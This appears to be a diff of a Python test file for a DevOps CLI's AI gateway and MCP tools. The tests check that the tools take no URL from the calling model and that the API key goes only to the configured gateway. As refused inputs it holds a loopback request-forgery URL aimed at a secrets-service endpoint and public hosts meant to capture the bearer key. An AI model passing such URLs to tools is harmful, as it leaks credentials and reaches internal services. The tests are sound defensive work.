typer.Option( + "--gateway-url", + "-u", + help="Optional gateway base URL override. Only the configured gateway gets the AI API key.", + ), ] = None, namespace: Annotated[ str, typer.Option("--namespace", "-n", help="Namespace of the gateway deployment.") diff --git a/tests/test_ai_gateway.py b/tests/test_ai_gateway.py index 75a4f8df48..d738c9cc04 100644 --- a/tests/test_ai_gateway.py +++ b/tests/test_ai_gateway.py @@ -2,7 +2,9 @@ from __future__ import annotations +import contextlib import json +from collections.abc import Callable from pathlib import Path from typing import Any from unittest.mock import MagicMock, patch @@ -16,10 +18,13 @@ from devops_cli.ai.client import AICredentialsError from devops_cli.ai.gateway import ( GatewayRouter, + fetch_model_info, ) +from devops_cli.ai.gateway_tune import GatewayTuneError, tune_pool from devops_cli.commands.ai_gateway import app as gateway_cli_app from devops_cli.config.constants import ( CONST_AI_GATEWAY_VIRTUAL_MODELS, + CONST_EXIT_ERROR_INFERENCE, ) from devops_cli.config.defaults import ( DEFAULT_OLLAMA_CLUSTER_URL, @@ -27,6 +32,7 @@ from devops_cli.config.settings import AIConfig from devops_cli.exceptions.ai import CapabilityDegradationError from tests.support.config_writes import written_keys +from tests.web_fakes import PUBLIC_ADDRESS, http_response, record_connects, scripted_resolver pytestmark = pytest.mark.usefixtures("keyring_store", "public_dns") @@ -608,6 +614,159 @@ def test_fastmcp_gateway_failover_resets_the_routes(self, isolate_data_dir: Path ) +GATEWAY_TOOL_PARAMETERS = { + "ai_gateway_status": ["provider"], + "ai_gateway_routes": ["provider"], + "ai_gateway_probe_backend": ["backend"], +} +"""The parameters that the MCP tools of the gateway read-only commands publish: no URL.""" + +CONFIGURED_TOOL_CALLS = { + "status": ( + "ai_gateway_status", + {}, + {"gateway_url": "http://example.com/v1"}, + 80, + ), + "routes": ( + "ai_gateway_routes", + {}, + {"gateway_url": "http://example.com/v1"}, + 80, + ), + "probe backend": ( + "ai_gateway_probe_backend", + {"backend": "ollama"}, + {"ollama_urls": ["http://example.com:11434"]}, + 11434, + ), +} +"""Each tool, its arguments, the setting that names the service that it queries, and its port.""" + + +async def _call_gateway_tool(tool: str, arguments: dict[str, object]) -> tuple[bool, str]: + """Call a tool the way an MCP client does: whether the call failed, and its reply.""" + from fastmcp import Client + + from devops_cli.ai.mcp.server import mcp + + async with Client(mcp) as client: + result = await client.call_tool(tool, arguments, raise_on_error=False) + return bool(result.is_error), "\n".join(getattr(block, "text", "") for block in result.content) + + +class TestGatewayToolsTakeNoUrlFromTheModel: + """The read-only MCP gateway tools query the configured gateway and backend, never a URL that + the calling model gives (#2480).""" + + async def test_the_tools_publish_no_url_parameter(self) -> None: + """The schema of each tool holds the provider or the backend and no gateway or backend URL.""" + from fastmcp import Client + + from devops_cli.ai.mcp.server import mcp + + async with Client(mcp) as client: + tools = await client.list_tools() + + assert { + tool.name: list(tool.input_schema["properties"]) + for tool in tools + if tool.name in GATEWAY_TOOL_PARAMETERS + } == GATEWAY_TOOL_PARAMETERS + + @pytest.mark.parametrize( + ("tool", "arguments", "parameter"), + [ + ( + "ai_gateway_probe_backend", + {"backend": "ollama", "backend_url": "http://127.0.0.1:8200/v1/sys/seal-status?x="}, + "backend_url", + ), + ("ai_gateway_routes", {"gateway_url": "https://example.org/v1"}, "gateway_url"), + ("ai_gateway_status", {"gateway_url": "https://example.org/v1"}, "gateway_url"), + ], + ids=["backend on loopback", "routes on a public host", "status on a public host"], + ) + async def test_a_url_argument_is_refused_and_reaches_no_socket( + self, + monkeypatch: pytest.MonkeyPatch, + tool: str, + arguments: dict[str, object], + parameter: str, + ) -> None: + """A call that gives a URL fails, no request is sent, and the AI API key is not on the wire. + + On `origin/main` the loopback call dialled `127.0.0.1:8200` with no flag, and the routes + call sent `Authorization: Bearer ` to the public host. + """ + monkeypatch.setenv("DEVOPS_CLI_AI_API_KEY", "sk-secret") + scripted_resolver(monkeypatch, {"example.org": [[PUBLIC_ADDRESS]]}) + recorder = record_connects(monkeypatch, [http_response(200, "{}")] * 4) + + failed, reply = await _call_gateway_tool(tool, arguments) + + reached = {(PUBLIC_ADDRESS, 443), ("127.0.0.1", 8200)} + assert ( + failed, + f"1. Parameter: `{parameter}`\n Kind: HALLUCINATED_PARAM\n" in reply, + [dial for dial in recorder.dialled if dial in reached], + b"sk-secret" in b"".join(recorder.written), + ) == (True, True, [], False) + + @pytest.mark.parametrize( + ("answer", "flag", "dialled"), + [ + ("127.0.0.1", False, True), + ("192.0.2.10", False, False), + ("192.0.2.10", True, True), + ], + ids=["loopback without the flag", "private without the flag", "private with the flag"], + ) + @pytest.mark.parametrize("call", list(CONFIGURED_TOOL_CALLS)) + async def test_each_tool_dials_the_configured_service_at_the_configured_level( + self, + monkeypatch: pytest.MonkeyPatch, + config: Any, + call: str, + answer: str, + flag: bool, + dialled: bool, + ) -> None: + """Loopback, and private addresses with `ai.allow_private_network`, as for the CLI. + + The floor sets the flag with its environment variable, which outranks the config file, so + the test sets the variable. + """ + tool, arguments, setting, port = CONFIGURED_TOOL_CALLS[call] + monkeypatch.setenv("DEVOPS_CLI_AI_ALLOW_PRIVATE_NETWORK", str(flag).lower()) + config(ai=setting) + scripted_resolver(monkeypatch, {"example.com": [[answer]]}) + recorder = record_connects(monkeypatch, [http_response(200, "{}")] * 4) + + await _call_gateway_tool(tool, arguments) + + assert [dial for dial in recorder.dialled if dial[0] == answer] == ( + [(answer, port)] if dialled else [] + ) + + async def test_the_routes_tool_sends_the_key_to_the_configured_gateway( + self, monkeypatch: pytest.MonkeyPatch, config: Any + ) -> None: + """The key still reaches the gateway that the configuration names.""" + monkeypatch.setenv("DEVOPS_CLI_AI_API_KEY", "sk-secret") + config(ai={"gateway_url": "http://example.com/v1"}) + scripted_resolver(monkeypatch, {"example.com": [[PUBLIC_ADDRESS]]}) + recorder = record_connects(monkeypatch, [http_response(200, '{"data": []}')]) + + failed, _reply = await _call_gateway_tool("ai_gateway_routes", {}) + + assert (failed, recorder.requested_hosts, b"Bearer sk-secret" in recorder.written[0]) == ( + False, + ["example.com"], + True, + ) + + class TestRouterAndClientGatewayIntegration: """Test suite for LLMClient gateway provider dispatch.""" @@ -711,7 +870,9 @@ def test_discovery_authenticates_and_collapses_wildcard_expansions( """Verify /model/info is read with the key and a wildcard's expansions become one route.""" requests, fake_get = _model_info() monkeypatch.setattr(httpx2.Client, "get", fake_get) - router = GatewayRouter(AIConfig(allow_private_network=True), api_key="sk-gateway") + router = GatewayRouter( + AIConfig(gateway_url=GATEWAY_URL, allow_private_network=True), api_key="sk-gateway" + ) routes = router.list_routes(GATEWAY_URL) @@ -737,7 +898,9 @@ def test_rejected_discovery_names_the_key_instead_of_showing_defaults( """Verify a 401 raises a credentials error rather than falling back to default routes.""" requests, fake_get = _model_info(status=401) monkeypatch.setattr(httpx2.Client, "get", fake_get) - router = GatewayRouter(AIConfig(allow_private_network=True), api_key=api_key) + router = GatewayRouter( + AIConfig(gateway_url=GATEWAY_URL, allow_private_network=True), api_key=api_key + ) with pytest.raises(AICredentialsError) as exc_info: router.list_routes(GATEWAY_URL) @@ -790,7 +953,9 @@ def test_list_routes_401_with_agent_grant_names_grant_and_omits_api_key_hint( """Verify a 401 with DEVOPS_CLI_AGENT_GRANT set names the grant ID, cuts long IDs, and omits the generic key hint.""" _requests, fake_get = _model_info(status=401) monkeypatch.setattr(httpx2.Client, "get", fake_get) - router = GatewayRouter(AIConfig(allow_private_network=True), api_key="stale-key") + router = GatewayRouter( + AIConfig(gateway_url=GATEWAY_URL, allow_private_network=True), api_key="stale-key" + ) # Standard grant ID monkeypatch.setenv("DEVOPS_CLI_AGENT_GRANT", "g-123") @@ -842,3 +1007,141 @@ def test_use_lan_brackets_ipv6_host( assert res.exit_code == 0 assert probed_urls == ["http://[2001:db8::1]:30400"] assert written_keys(isolate_data_dir) == [["ai.allow_private_network", "ai.gateway_url"]] + + +CONFIGURED_GATEWAY = "http://example.com:4000/v1" + + +class TestTheKeyGoesOnlyToTheConfiguredGateway: + """A URL from a caller is input. The AI API key goes only to the origin of the gateway that + the configuration names, for the routes, the model query and the tuning sweep (#2480).""" + + @staticmethod + def _routes(url: str) -> None: + GatewayRouter(AIConfig(gateway_url=CONFIGURED_GATEWAY), api_key="sk-gateway").list_routes( + url + ) + + @staticmethod + def _model_info(url: str) -> None: + fetch_model_info(url, False, "sk-gateway") + + @staticmethod + def _sweep(url: str) -> None: + """Start the tuning sweep at `url`. It stops at the model query, before any cluster call.""" + tune_pool( + gateway_url=url, + allow_private=False, + api_key="sk-gateway", + model_group="devops-chat", + levels=[1], + rounds=1, + prompt_tokens=1, + max_tokens=1, + request_timeout=1.0, + namespace="llm", + deployment="litellm", + ) + + @classmethod + def _tune(cls, url: str) -> None: + with contextlib.suppress(GatewayTuneError): + cls._sweep(url) + + @staticmethod + def _wire_of(monkeypatch: pytest.MonkeyPatch, call: Callable[[], None]) -> list[bytes]: + """Run `call` against two hosts that answer a public address; return the bytes that each + connection received.""" + scripted_resolver( + monkeypatch, + {"example.com": [[PUBLIC_ADDRESS]], "example.org": [[PUBLIC_ADDRESS]]}, + ) + recorder = record_connects(monkeypatch, [http_response(200, '{"data": []}')] * 2) + call() + return [bytes(written) for written in recorder.written] + + @pytest.mark.parametrize("caller", ["_routes", "_model_info", "_tune"]) + @pytest.mark.parametrize( + ("url", "gets_key"), + [ + (CONFIGURED_GATEWAY, True), + ("http://example.com:4000/another/path", True), + ("HTTP://Example.COM:4000/v1", True), + ("http://example.org:4000/v1", False), + ("http://example.com:4001/v1", False), + ("http://example.com:40000/v1", False), + ("https://example.com:4000/v1", False), + ], + ids=[ + "the configured URL", + "another path", + "another spelling of the origin", + "another host", + "another port", + "a port that starts with the configured port", + "another scheme", + ], + ) + def test_a_request_carries_the_key_only_for_the_configured_origin( + self, monkeypatch: pytest.MonkeyPatch, config: Any, caller: str, url: str, gets_key: bool + ) -> None: + config(ai={"gateway_url": CONFIGURED_GATEWAY}) + + wire = self._wire_of(monkeypatch, lambda: getattr(self, caller)(url)) + + assert [b"Bearer sk-gateway" in request for request in wire] == [gets_key] + + @pytest.mark.parametrize("caller", ["_routes", "_model_info"]) + def test_no_url_gets_the_key_when_no_gateway_is_configured( + self, monkeypatch: pytest.MonkeyPatch, config: Any, caller: str + ) -> None: + config(ai={"gateway_url": None}) + + def call() -> None: + if caller == "_routes": + GatewayRouter(AIConfig(), api_key="sk-gateway").list_routes(CONFIGURED_GATEWAY) + else: + self._model_info(CONFIGURED_GATEWAY) + + wire = self._wire_of(monkeypatch, call) + + assert [b"Bearer sk-gateway" in request for request in wire] == [False] + + def test_the_routes_command_sends_no_key_to_another_gateway( + self, monkeypatch: pytest.MonkeyPatch, config: Any, cli: Any + ) -> None: + monkeypatch.setenv("DEVOPS_CLI_AI_API_KEY", "sk-gateway") + config(ai={"gateway_url": CONFIGURED_GATEWAY}) + scripted_resolver(monkeypatch, {"example.org": [[PUBLIC_ADDRESS]]}) + recorder = record_connects(monkeypatch, [http_response(401, "{}")]) + + result = cli("ai", "gateway", "routes", "--gateway-url", "http://example.org/v1") + + assert ( + result.exit_code, + "so this gateway got none" in result.output, + recorder.requested_hosts, + b"sk-gateway" in b"".join(recorder.written), + ) == (1, True, ["example.org"], False) + + @pytest.mark.parametrize("caller", ["_model_info", "_tune"]) + def test_a_refusal_by_another_gateway_says_that_it_got_no_key( + self, monkeypatch: pytest.MonkeyPatch, config: Any, caller: str + ) -> None: + """The AI API key is set, so a message that asks for a key would mislead.""" + config(ai={"gateway_url": CONFIGURED_GATEWAY}) + scripted_resolver(monkeypatch, {"example.org": [[PUBLIC_ADDRESS]]}) + record_connects(monkeypatch, [http_response(401, "{}")]) + + with pytest.raises(AICredentialsError) as refused: + getattr(self, "_model_info" if caller == "_model_info" else "_sweep")( + "http://example.org:4000/v1" + ) + + assert (refused.value.error_code, refused.value.exit_code, str(refused.value)) == ( + "LLM_INFERENCE_ERROR", + CONST_EXIT_ERROR_INFERENCE, + "The LLM gateway at example.org:4000 requires an API key. " + "The AI API key goes only to the configured gateway, so this gateway got none. " + "To use the key with this gateway, make it the configured gateway.", + )